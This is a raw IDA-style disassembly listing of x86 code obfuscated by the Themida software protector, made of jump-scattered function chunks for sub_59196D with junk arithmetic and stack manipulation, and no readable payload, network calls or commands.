; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58F254: ; CODE XREF: sub_59196D+60A5j
neg esi
xchg esi, ebx
push ebp
mov ebp, 78A21056h
not ebp
and ebp, 3F340A6Ch
push 0
sub [esp+18h+var_1A+2], ebp
pop ebp
xchg edx, ebp
dec edx
xchg edx, ebp
push eax
mov eax, 0F746A9EBh
sub ebp, eax
push [esp+18h+var_1A+2]
jmp loc_592AEB
; ---------------------------------------------------------------------------
loc_58F284: ; CODE XREF: sub_59196D+54EDj
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58F289: ; CODE XREF: sub_59196D-4D0Fj
mov [esp+40h+var_40], eax
push esp
mov eax, [esp+44h+var_44]
add esp, 4
add eax, 4
push 6F37h
mov [esp+44h+var_44], edx
push ebx
mov ebx, 48916A99h
jmp loc_58DAE3
; ---------------------------------------------------------------------------
loc_58F2AB: ; CODE XREF: sub_59196D+649Aj
push [esp+48h+var_44]
jmp loc_58FA85
; ---------------------------------------------------------------------------
loc_58F2B4: ; CODE XREF: sub_59196D-1CE0j
sub edi, 5A4025A4h
mov esi, [esp+4Ch+var_4E+2]
jmp loc_596737
; ---------------------------------------------------------------------------
loc_58F2C2: ; CODE XREF: sub_59196D-2D1Cj
pop edx
jmp loc_59354D
; ---------------------------------------------------------------------------
loc_58F2C8: ; CODE XREF: sub_59196D+1CECj
jb loc_5932F2
inc edx
jl loc_58CE42
jge loc_58DAFA
pop edx
loc_58F2DC: ; CODE XREF: Themida_:0058DA9Aj
push edx
mov edx, 34941793h
sub [esp+28h+var_22+2], edx
pop edx
push [esp+24h+var_26+2]
pop ecx
add esp, 4
push [esp+20h+var_22+2]
pop edx
push esi
push 607Dh
mov [esp+28h+var_2A+2], esp
add [esp+28h+var_2A+2], 4
pop esi
add esi, 4
add esi, 4
xchg esi, [esp+24h+var_26+2]
jmp loc_5969E4
; ---------------------------------------------------------------------------
loc_58F317: ; CODE XREF: sub_59196D-245Bj
push ecx
mov ecx, 2E6478F9h
add eax, ecx
pop ecx
mov ebx, [esp+24h+var_26+2]
add esp, 4
jmp loc_591E2C
; ---------------------------------------------------------------------------
loc_58F32B: ; CODE XREF: sub_59196D+2443j
add esp, 4
jmp loc_5924D1
; ---------------------------------------------------------------------------
loc_58F336: ; CODE XREF: sub_59196D+135Dj
push ecx
mov ecx, 2
sub edi, ecx
pop ecx
xor edi, [esp+1Ch+var_1E+2]
xor [esp+1Ch+var_1E+2], edi
xor edi, [esp+1Ch+var_1E+2]
jmp loc_58DA58
; ---------------------------------------------------------------------------
loc_58F34D: ; CODE XREF: sub_59196D-501Aj
xor edx, 0A36590BEh
jmp loc_5949AE
; ---------------------------------------------------------------------------
loc_58F358: ; CODE XREF: sub_59196D-4369j
mov ch, 0FCh
push dx
jmp loc_58CF1C
; ---------------------------------------------------------------------------
loc_58F361: ; CODE XREF: sub_59196D-2174j
dec ebp
xchg ecx, ebp
not ecx
push ebp
push ecx
pop ebp
pop ecx
sub ebp, 2D6D3D7Eh
add esi, ebp
jmp loc_590493
; ---------------------------------------------------------------------------
loc_58F377: ; CODE XREF: sub_59196D-5841j
xor esi, 247F3F4Fh
xor esi, 36B72F7Bh
add eax, esi
pop esi
xchg eax, [esp+0]
pop esp
add esp, 4
add esp, 4
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58F395: ; CODE XREF: sub_59196D+35FCj
pop cx
add al, dl
sub al, 96h
add al, 4Ch
push [esp-0Eh+arg_8+2]
pop edx
jmp loc_58F5DC
; ---------------------------------------------------------------------------
loc_58F3A6: ; CODE XREF: sub_59196D+33A5j
; DATA XREF: Themida_:0058B0B0o
mov ax, word ptr [esp-0Eh+arg_8+2]
sub esp, 4
mov [esp-0Ah+arg_4+2], eax
mov eax, esp
push ebp
jmp loc_594438
; ---------------------------------------------------------------------------
loc_58F3BB: ; CODE XREF: sub_59196D+A71j
dec ebx
jg loc_58C079
xor ebx, 4A5A888h
mov ecx, ebx
pop ebx
push ebx
loc_58F3CC: ; CODE XREF: Themida_:00590C39j
push 4BABh
mov [esp+0], edx
jmp loc_5965A8
; ---------------------------------------------------------------------------
loc_58F3D9: ; CODE XREF: sub_59196D-23B1j
pop eax
shl ebp, 1
shr ebp, 2
add ebp, 7135454Ch
jnb loc_58D516
xor ebp, 76C3E44h
jmp loc_59397B
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
push ebx
pop ebx
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58F3F8: ; CODE XREF: sub_59196D+63C7j
add ebp, 29A538DDh
pop ecx
jmp loc_593081
; ---------------------------------------------------------------------------
loc_58F404: ; CODE XREF: sub_59196D-125Bj
sub edi, 532944BFh
shr edi, 1
push ebx
mov ebx, 740A7D51h
and edi, ebx
pop ebx
xor edi, 4D30229Ah
sub ebx, edi
pop edi
jmp loc_59183E
; ---------------------------------------------------------------------------
loc_58F423: ; CODE XREF: sub_59196D+2032j
mov [esp-0Eh+arg_8+2], edx
jmp loc_5945D8
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58F42B proc near ; CODE XREF: sub_59196D+62C6j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058E503 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058F244 SIZE 00000010 BYTES
sub esp, 4
mov [esp+4+var_4], edi
jmp loc_58F244
sub_58F42B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58F436: ; CODE XREF: sub_59196D-153Aj
push ecx
neg [esp-0Ah+arg_4+2]
pop ecx
jmp loc_591FD1
; ---------------------------------------------------------------------------
loc_58F440: ; CODE XREF: sub_59196D-9CEj
mov esp, [esp-0Eh+arg_8+2]
mov ecx, [esp-0Eh+arg_8+2]
push ebp
mov ebp, esp
push ecx
mov ecx, 28956897h
inc ecx
sub ecx, 1
xor ecx, 28956893h
add ebp, ecx
pop ecx
push edi
push ecx
push eax
mov eax, 73EA6960h
jmp loc_592F94
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58F469 proc near ; CODE XREF: sub_59196D+277Ej
var_6 = word ptr -6
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058F8F6 SIZE 00000019 BYTES
sub esp, 4
jmp loc_58F8F6
sub_58F469 endp
; ---------------------------------------------------------------------------
push ebx
push 7706h
mov [esp], edx
mov edx, 184D0185h
jmp loc_59223C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58F487: ; CODE XREF: sub_59196D+1474j
sub eax, 0C986F64Fh
add esi, eax
pop eax
push ebp
sub esp, 4
mov [esp+6+var_8+2], edx
mov edx, 23C1274h
jmp loc_5969A3
; ---------------------------------------------------------------------------
loc_58F4A0: ; CODE XREF: sub_59196D+6C8Dj
pop esp
push ebp
mov ebp, esp
add ebp, 4
jmp loc_58F76C
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58ED60
loc_58F4AF: ; CODE XREF: sub_58ED60+1Dj
add esi, 3652012h
add esi, ecx
jmp loc_58E14D
; END OF FUNCTION CHUNK FOR sub_58ED60
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58F4BC: ; CODE XREF: sub_59196D+3E33j
pop eax
sub esp, 4
mov [esp+6+var_8+2], eax
mov eax, esp
push ebx
mov ebx, 4
add eax, ebx
push [esp+0Ah+var_C+2]
pop ebx
push esi
push esp
pop esi
add esi, 4
add esi, 4
push 78F8h
mov [esp+12h+var_12], esi
jmp loc_5906B1
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebx
mov ebx, esp
jmp loc_593A8C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58F4F6: ; CODE XREF: sub_59196D-30C3j
pop ecx
shr ecx, 6
jnz loc_58FA6A
xor ecx, 60D3B2F3h
mov edi, ecx
jmp loc_59097B
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
mov cl, ch
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58F50F: ; CODE XREF: sub_58CD7E+8j
; sub_59196D-2F27j
pop ebp
add eax, ebx
jmp loc_58F317
; ---------------------------------------------------------------------------
loc_58F517: ; CODE XREF: sub_59196D:loc_59185Fj
xchg ebp, esi
push ebp
not [esp+14h+var_16+2]
jmp loc_596B39
; ---------------------------------------------------------------------------
loc_58F522: ; CODE XREF: sub_59196D-1A5Ej
mov ebx, [esp+14h+var_16+2]
jmp loc_58BB85
; ---------------------------------------------------------------------------
loc_58F52A: ; CODE XREF: sub_59196D+1007j
; sub_59196D:loc_593A12j
mov [esp+14h+var_16+2], esp
push edi
jmp loc_58DB94
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58F533 proc near ; CODE XREF: sub_59196D-3539j
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0058C7E1 SIZE 00000016 BYTES
push ebp
mov ebp, 4
add [esp-4+arg_4], ebp
jmp loc_58C7E1
sub_58F533 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58F542: ; CODE XREF: sub_59196D-489Dj
add esp, 4
add esp, 4
xor eax, esi
xor esi, eax
xor eax, esi
push edi
push ebp
push edx
mov edx, 1
jmp loc_58B402
; ---------------------------------------------------------------------------
loc_58F55B: ; CODE XREF: sub_59196D+556Bj
movzx eax, al
push dword ptr [edi+eax*4]
push 74D1h
jmp loc_58F590
; ---------------------------------------------------------------------------
loc_58F56B: ; CODE XREF: sub_59196D+735j
neg edi
jge sub_58C19E
push ebx
push edx
mov edx, 80A29599h
mov ebx, edx
pop edx
loc_58F57D: ; CODE XREF: sub_59196D+56CCj
pop dword ptr [eax]
xor dword ptr [eax], 3F381384h
pop edi
pop eax
loc_58F587: ; CODE XREF: sub_59196D+4FA1j
; sub_59196D+56E1j
push [esp+1Ch+var_1E+2]
pop ebx
jmp sub_58ED60
; ---------------------------------------------------------------------------
loc_58F590: ; CODE XREF: sub_59196D-2407j
mov [esp+24h+var_26+2], esi
push 7087h
jmp loc_58C86F
; ---------------------------------------------------------------------------
loc_58F59D: ; CODE XREF: sub_59196D+2849j
add [esp+28h+var_2A+2], 4
mov edx, [esp+28h+var_2A+2]
add esp, 4
add edx, 4
push ebp
push eax
mov eax, 5DCE156Ah
mov ebp, eax
jmp loc_58F3D9
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58F5C1 proc near ; CODE XREF: sub_59196D+10DAj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ebp
push dword ptr [esp+4]
mov ebp, [esp+8+var_8]
add esp, 4
pop [esp+4+var_4]
pop esp
or [esp-4+arg_0], eax
pushf
jmp loc_58B37B
sub_58F5C1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58F5DC: ; CODE XREF: sub_59196D-25CCj
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp-0Ah+arg_4+2]
pop esp
sub al, bl
sub al, 6Ah
push ebx
mov bl, 0F8h
push ecx
push ax
mov ah, 90h
mov ch, ah
mov ax, word ptr [esp-4+arg_0]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 2
xchg ebp, [esp+0]
pop esp
jmp loc_593AC5
; ---------------------------------------------------------------------------
loc_58F612: ; CODE XREF: sub_59196D+A65j
add ecx, 4
jmp loc_58FD24
; ---------------------------------------------------------------------------
loc_58F61D: ; CODE XREF: sub_59196D+5C68j
dec cl
sub cl, 56h
shr cl, 2
jmp loc_58D479
; ---------------------------------------------------------------------------
loc_58F62A: ; CODE XREF: sub_59196D+34D1j
add esp, 4
add ecx, 4
sub ecx, 2
xchg ecx, [esp-8+arg_4]
pop esp
mov word ptr [esp-0Ch+arg_8], bx
mov bh, 0BCh
sub al, bh
jmp loc_591226
; ---------------------------------------------------------------------------
loc_58F64A: ; CODE XREF: sub_59196D+2469j
xor ebp, 17D9184Dh
add ebp, 6E3E09BCh
jmp loc_595432
; ---------------------------------------------------------------------------
loc_58F65B: ; CODE XREF: sub_59196D+1EEj
shr edi, 4
shr edi, 7
jmp loc_58EA4B
; ---------------------------------------------------------------------------
loc_58F666: ; CODE XREF: sub_59196D+50F3j
xor ebx, 1B401E2Eh
mov eax, ebx
pop ebx
add edi, 3FB80498h
add edi, eax
push eax
mov eax, 3A8C4E76h
not eax
jmp loc_58EF2F
; ---------------------------------------------------------------------------
loc_58F684: ; CODE XREF: sub_59196D-1A9Aj
inc ebx
jp loc_595DC9
or ebx, 63230EA2h
jle loc_593D79
pop ebx
loc_58F698: ; CODE XREF: sub_59196D-1F96j
shl esi, 8
jmp loc_58CC12
; ---------------------------------------------------------------------------
loc_58F6A0: ; CODE XREF: sub_59196D+3E6Bj
mov ecx, 183925EEh
sub edi, ecx
pop ecx
jmp loc_593CEE
; ---------------------------------------------------------------------------
loc_58F6AD: ; CODE XREF: sub_59196D+3Fj
sub bl, 0F4h
add bl, 3Eh
sub esp, 2
mov word ptr [esp-10h+arg_C], cx
mov ch, 4Eh
jmp loc_59608D
; ---------------------------------------------------------------------------
loc_58F6C4: ; CODE XREF: sub_59196D+1CACj
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp-0Ch+arg_8]
xor [esp-0Ch+arg_8], ebp
xor ebp, [esp-0Ch+arg_8]
jmp loc_593629
; ---------------------------------------------------------------------------
loc_58F6E1: ; CODE XREF: sub_59196D+5AB2j
push 64CE5B2Ah
pop eax
add eax, 0C13B9509h
push edx
push esi
mov esi, eax
mov edx, esi
pop esi
jmp loc_5961D3
; ---------------------------------------------------------------------------
loc_58F6F8: ; CODE XREF: sub_59196D-62F7j
not edx
inc edx
push edx
dec [esp+20h+var_22+2]
mov edx, [esp+20h+var_22+2]
add esp, 4
add edx, 7AB051B8h
or ebx, edx
mov edx, [esp+1Ch+var_1E+2]
jmp loc_5966E0
; ---------------------------------------------------------------------------
loc_58F718: ; CODE XREF: sub_59196D+1DD4j
and edi, 2E2E7738h
jnp loc_593DC2
xor edi, 0ECF770Eh
mov ebp, edi
pop edi
push esi
mov esi, 3C3D7484h
add ebp, 78016774h
add ebp, esi
sub ebp, 78016774h
pop esi
and ebp, 49AF5C9Eh
or ebp, 6F7C3010h
sub ebp, 79CE023Dh
not ebp
xor ebp, 1CF7EDE1h
jmp loc_591B79
; ---------------------------------------------------------------------------
loc_58F761: ; CODE XREF: sub_59196D+A2Bj
push edx
mov edx, 26F24BE2h
jmp loc_596273
; ---------------------------------------------------------------------------
loc_58F76C: ; CODE XREF: sub_59196D-24C3j
sub ebp, 4
xor ebp, [esp+6+var_8+2]
jmp loc_58DD94
; ---------------------------------------------------------------------------
loc_58F77A: ; CODE XREF: sub_59196D+406Bj
pop ecx
jmp loc_598177
; ---------------------------------------------------------------------------
loc_58F780: ; CODE XREF: Themida_:00591354j
; sub_59196D+198Cj
add esi, 4
jmp loc_5974A8
; ---------------------------------------------------------------------------
loc_58F78B: ; CODE XREF: sub_59196D+62AFj
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58F790: ; CODE XREF: sub_59196D+5C85j
mov edi, 143E76C9h
or edi, 154269C3h
xor edi, 13181A8Bh
jmp loc_58F8A6
; ---------------------------------------------------------------------------
loc_58F7A6: ; CODE XREF: sub_59196D+A0Ej
; sub_59196D+2223j
mov ebx, edi
jmp loc_58E4C9
; ---------------------------------------------------------------------------
loc_58F7AD: ; CODE XREF: sub_59196D-471Bj
xor ecx, 17EE954Ah
jmp loc_58FC79
; ---------------------------------------------------------------------------
loc_58F7B8: ; CODE XREF: sub_59196D:loc_594CCAj
jmp loc_591E7B
; ---------------------------------------------------------------------------
loc_58F7BD: ; CODE XREF: sub_59196D+1B11j
push 1B715271h
pop ebp
sub ecx, ebp
pop ebp
pop esi
mov edi, [esp+0Ch+var_C]
add esp, 4
jmp loc_59001B
; ---------------------------------------------------------------------------
loc_58F7D2: ; CODE XREF: sub_59196D-3078j
xor eax, 3F8D4EFAh
mov edi, eax
pop eax
dec edi
jmp loc_58C8D8
; ---------------------------------------------------------------------------
loc_58F7E0: ; CODE XREF: sub_59196D-121Ej
pop edx
pop ebx
mov dl, al
pop eax
jmp loc_59650F
; ---------------------------------------------------------------------------
loc_58F7EA: ; CODE XREF: sub_59196D+6831j
add ebp, 7B961D29h
sub ebp, ecx
sub ebp, 7B961D29h
pop ecx
jmp loc_58F361
; ---------------------------------------------------------------------------
loc_58F7FE: ; CODE XREF: sub_59196D+5AC0j
push edi
push ecx
mov ecx, 0B28557Eh
or ecx, 2677555h
not ecx
jmp loc_594575
; ---------------------------------------------------------------------------
loc_58F812: ; CODE XREF: sub_59196D:loc_59094Aj
inc edx
jmp loc_58B536
; ---------------------------------------------------------------------------
loc_58F818: ; CODE XREF: sub_59196D-491Fj
push ecx
push 4D5Ch
jmp loc_58BC0E
; ---------------------------------------------------------------------------
loc_58F823: ; CODE XREF: sub_59196D+5709j
sub dh, 71h
jmp loc_58ECE7
; ---------------------------------------------------------------------------
loc_58F82B: ; CODE XREF: sub_59196D-2936j
add esp, 4
push ebp
push esp
push [esp-0Ch+arg_8]
pop ebp
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp-8+arg_4]
pop esp
add ebp, 4
push 71C3h
mov [esp-8+arg_4], edx
mov edx, 4
jmp loc_58E203
; ---------------------------------------------------------------------------
loc_58F85E: ; CODE XREF: sub_59196D+3483j
mov [esp-8+arg_4], ecx
mov ecx, 10000h
jmp loc_58E99F
; ---------------------------------------------------------------------------
loc_58F86B: ; CODE XREF: sub_59196D-1AA5j
and ebx, 1EFB6A80h
jmp loc_58C9A1
; ---------------------------------------------------------------------------
loc_58F876: ; CODE XREF: sub_59196D-1590j
xchg edi, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
ror word ptr [esp-8+arg_4], cl
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58F886: ; CODE XREF: sub_59196D+25E7j
pop ecx
xor eax, [esp-8+arg_4]
xor [esp-8+arg_4], eax
xor eax, [esp-8+arg_4]
pop esp
push 300Eh
mov [esp-8+arg_4], esi
mov esi, 5CDD1A4Fh
not esi
inc esi
jmp loc_592335
; ---------------------------------------------------------------------------
loc_58F8A6: ; CODE XREF: sub_59196D-21CCj
xor eax, edi
pop edi
push ecx
mov ecx, 68993001h
dec ecx
dec ecx
sub ecx, 0FAAEEE71h
add eax, ecx
pop ecx
jmp loc_5931FC
; ---------------------------------------------------------------------------
loc_58F8BF: ; CODE XREF: sub_59196D+5CBFj
pop ebx
pop edi
push esi
jmp $+5
push esp
pop esi
jmp loc_58D78C
; ---------------------------------------------------------------------------
loc_58F8CE: ; CODE XREF: sub_59196D+D4Dj
; sub_59196D+11C1j
add edi, ebx
pop ebx
push 1DCEh
mov [esp-6+arg_0+2], eax
jmp loc_596A53
; ---------------------------------------------------------------------------
loc_58F8DE: ; CODE XREF: sub_59196D+512j
xor edx, 5B7419Eh
add edi, edx
push [esp-6+arg_0+2]
pop edx
add esp, 4
push esi
jmp loc_58D93A
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F469
loc_58F8F6: ; CODE XREF: sub_58F469+6j
mov [esp+4+var_4], esi
mov si, 2B75h
push si
xchg ax, [esp+6+var_6]
not ax
xchg ax, [esp+6+var_6]
jmp loc_58CEBC
; END OF FUNCTION CHUNK FOR sub_58F469
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58F90F: ; CODE XREF: sub_59196D-1C8j
mov al, 68h
mov cl, 99h
sub cl, al
jmp loc_595E0C
; ---------------------------------------------------------------------------
loc_58F91A: ; CODE XREF: sub_59196D-4451j
jge loc_58B461
or ebp, 5D4D7C8Eh
jno loc_594987
sub ebp, 0FF7D7ECDh
sub edx, 53815C19h
pop ebp
loc_58F939: ; CODE XREF: sub_59196D+20B2j
mov al, 0F6h
sub bl, al
jmp loc_5954C3
; ---------------------------------------------------------------------------
loc_58F942: ; CODE XREF: sub_59196D+819j
mov [esp+1Ch+var_1E+2], edx
jmp loc_58CB80
; ---------------------------------------------------------------------------
loc_58F94A: ; CODE XREF: sub_59196D-391Ej
; sub_59196D-3ABj
xor ecx, 5320112Eh
mov edx, ecx
pop ecx
jmp loc_597882
; ---------------------------------------------------------------------------
loc_58F958: ; CODE XREF: sub_59196D+226Aj
shl edx, 1
push dword ptr [edi+24h]
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+2Ah+var_2A]
pop esp
mov [esp+26h+var_26], edi
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+2Ah+var_2A]
pop esp
mov [esp+26h+var_26], eax
push 52607C61h
pop eax
push edx
mov edx, 57FB19FAh
shl edx, 7
or edx, 3418713Dh
xor edx, 54FB542Eh
or edx, 459A76F2h
jmp loc_58E29F
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_58BCC0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58F9B8: ; CODE XREF: sub_59196D+5AA1j
mov [esp+2Ah+var_2A], esi
push 52DE5B45h
mov esi, [esp+2Eh+var_2E]
add esp, 4
push 97Eh
mov [esp+2Eh+var_2E], ebx
push edx
jmp loc_591E84
; ---------------------------------------------------------------------------
loc_58F9D4: ; CODE XREF: sub_59196D-2AB3j
inc esi
not esi
jmp loc_58F698
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58F9DC: ; CODE XREF: Themida_:00590F4Cj
push eax
jmp loc_5967BD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58F9E2: ; CODE XREF: sub_59196D+337j
inc edx
jle loc_5963EF
shr edx, 3
jnp loc_594631
mov dh, bh
push ecx
loc_58F9F5: ; CODE XREF: Themida_:00591678j
add esp, 4
add [esp+42h+var_44+2], eax
sub esp, 4
mov [esp+0], eax
mov eax, 0E417675h
sub [esp+46h+var_44+2], 43BE4D8Fh
add [esp+46h+var_44+2], eax
add [esp+46h+var_44+2], 43BE4D8Fh
mov eax, [esp+0]
add esp, 4
add [esp+42h+var_44+2], 7485520h
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58FA2C: ; CODE XREF: sub_59196D+3E84j
push esi
mov esi, 734067FDh
jmp loc_58EC26
; ---------------------------------------------------------------------------
loc_58FA37: ; CODE XREF: sub_59196D+6C85j
sub eax, 6A6745D2h
push 48D0h
mov [esp+4Ah+var_4A], ebx
push 592Dh
mov [esp+4Eh+var_4E], ebp
mov ebp, 1
push ebp
sub [esp+52h+var_54+2], 2A73127Bh
mov ebx, [esp+52h+var_54+2]
jmp loc_591624
; ---------------------------------------------------------------------------
loc_58FA61: ; CODE XREF: sub_59196D+4CCAj
push [esp+52h+var_54+2]
pop edi
jmp loc_59335B
; ---------------------------------------------------------------------------
loc_58FA6A: ; CODE XREF: sub_59196D-2473j
xor ecx, 60D3B2F3h
mov edi, ecx
jmp loc_58D45F
; ---------------------------------------------------------------------------
loc_58FA77: ; CODE XREF: sub_59196D-344Ej
; sub_59196D+33C8j
shr dh, 7
jnp loc_590AFA
jmp loc_58BB5A
; ---------------------------------------------------------------------------
loc_58FA85: ; CODE XREF: sub_59196D-26BEj
; sub_59196D+3466j
mov ecx, [esp+4Ch+var_4E+2]
add esp, 4
pop [esp+48h+var_4A+2]
pop esp
sub esp, 4
mov [esp+44h+var_44], ebp
jmp loc_59091A
; ---------------------------------------------------------------------------
loc_58FA9D: ; CODE XREF: sub_59196D+E57j
mov esi, 67725E0Ah
jmp loc_593C33
; ---------------------------------------------------------------------------
loc_58FAA7: ; CODE XREF: sub_59196D+1AB4j
mov [esp+44h+var_44], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+44h+var_44]
mov esp, [esp+44h+var_44]
shr eax, 10h
xor eax, ecx
xor eax, ebp
xor ebp, eax
jmp loc_598578
; ---------------------------------------------------------------------------
loc_58FAC9: ; CODE XREF: sub_59196D-4D50j
; sub_59196D-17Dj
add esp, 4
add ebx, esi
pop esi
jmp loc_58C3BF
; ---------------------------------------------------------------------------
loc_58FAD4: ; CODE XREF: sub_59196D+34A7j
push [esp+28h+var_2A+2]
pop ebx
jmp loc_58BFFB
; ---------------------------------------------------------------------------
loc_58FADD: ; CODE XREF: sub_59196D-4F11j
mov [esp+32h+var_32], esi
push 3EB2839Ah
mov esi, [esp+36h+var_36]
push ecx
mov ecx, esp
jmp loc_592A4C
; ---------------------------------------------------------------------------
loc_58FAF0: ; CODE XREF: sub_59196D-40AEj
pop ebp
add ecx, 4
xor ecx, [esp+0]
xor [esp+0], ecx
xor ecx, [esp+0]
jmp loc_595C90
; ---------------------------------------------------------------------------
loc_58FB05: ; CODE XREF: sub_59196D-4AF7j
pop ebx
push ecx
push ebx
push 54F77E5Bh
pop ebx
xor ebx, 675D10C5h
jmp loc_594530
; ---------------------------------------------------------------------------
loc_58FB19: ; CODE XREF: sub_59196D-3B49j
mov ebp, esi
mov esi, [esp+14h+var_16+2]
add esp, 4
xor ebp, 60D00AF5h
xor eax, ebp
pop ebp
push small word ptr [eax]
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58FB32: ; CODE XREF: sub_59196D+3A36j
mov dl, 0C7h
sub cl, 5Ch
add cl, dl
jmp loc_58E88F
; ---------------------------------------------------------------------------
loc_58FB3E: ; CODE XREF: sub_59196D+62B9j
mov [esp+0], ecx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_5933D6
; ---------------------------------------------------------------------------
loc_58FB55: ; CODE XREF: sub_59196D:loc_58D13Bj
xor edi, 361D27E2h
mov ebp, edi
pop edi
add eax, ebp
pop ebp
xor eax, [esp+0]
xor [esp+0], eax
xor eax, [esp+0]
mov esp, [esp+0]
jmp loc_590619
; ---------------------------------------------------------------------------
loc_58FB72: ; CODE XREF: sub_59196D+4EC1j
xor ebx, 8F73D8A5h
add eax, ebx
pop ebx
xchg eax, [esp-4+arg_0]
pop esp
xor ebx, [esp-8+arg_4]
xor [esp-8+arg_4], ebx
xor ebx, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
jmp loc_592607
; ---------------------------------------------------------------------------
loc_58FB90: ; CODE XREF: sub_59196D+3034j
xchg edx, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
mov ax, word ptr [esp-8+arg_4]
jmp loc_593F68
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58FB9F: ; DATA XREF: Themida_:0058B0D8o
mov cx, [esp]
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edx
mov edx, esp
push esi
jmp loc_58CE7B
; ---------------------------------------------------------------------------
loc_58FBBD: ; CODE XREF: Themida_:0059168Bj
mov eax, 7D4B63F8h
jmp loc_58F058
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58FBC7: ; CODE XREF: sub_59196D+E2Ej
add esi, 166C2F3Bh
sub esi, 0E4F754C6h
and edi, esi
jmp loc_58CAD2
; ---------------------------------------------------------------------------
loc_58FBDA: ; CODE XREF: sub_59196D+158Dj
mov edx, 713D299Dh
inc edx
dec edx
sub edx, 713D2999h
add esi, edx
push [esp-8+arg_4]
pop edx
jmp loc_58DE88
; ---------------------------------------------------------------------------
loc_58FBF2: ; CODE XREF: sub_59196D+2AD5j
add ebp, 18120B05h
jg loc_58BCE9
jmp loc_59456A
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
push esi
jmp loc_5981CE
; ---------------------------------------------------------------------------
pop dword ptr [esp]
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58FC0C: ; CODE XREF: sub_59196D+3088j
sub eax, 5E827D35h
sub eax, 5F963ED5h
pop edi
xchg eax, [esp-0Ch+arg_8]
pop esp
ror [esp-10h+arg_C], cl
pushf
jmp loc_595B47
; ---------------------------------------------------------------------------
loc_58FC24: ; CODE XREF: sub_59196D-42A4j
xchg ebp, [esp+14h+var_16+2]
pop esp
or eax, eax
jz loc_590E7E
push dword ptr [edi+1Ch]
jmp loc_5982FD
; ---------------------------------------------------------------------------
loc_58FC38: ; CODE XREF: sub_59196D-2E1Cj
mov ecx, [esp+6+var_8+2]
jmp loc_58CB21
; ---------------------------------------------------------------------------
loc_58FC40: ; CODE XREF: sub_59196D+5DF2j
or ebx, 0EE860AAh
xor ebx, 5EFAFEFBh
add edi, ebx
jmp loc_592CC9
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58FC53 proc near ; CODE XREF: sub_590792-50E9j
; FUNCTION CHUNK AT 0058CE11 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058EFD1 SIZE 00000017 BYTES
push ebx
mov bl, 8
jmp loc_58EFD1
sub_58FC53 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58FC5B: ; CODE XREF: sub_59196D+148Fj
push edi
push 4
jmp loc_58FEEC
; ---------------------------------------------------------------------------
loc_58FC66: ; CODE XREF: sub_59196D+207j
neg ebp
xor ebp, 66214767h
push ebp
xchg edi, [esp+12h+var_12]
not edi
jmp loc_58F1F3
; ---------------------------------------------------------------------------
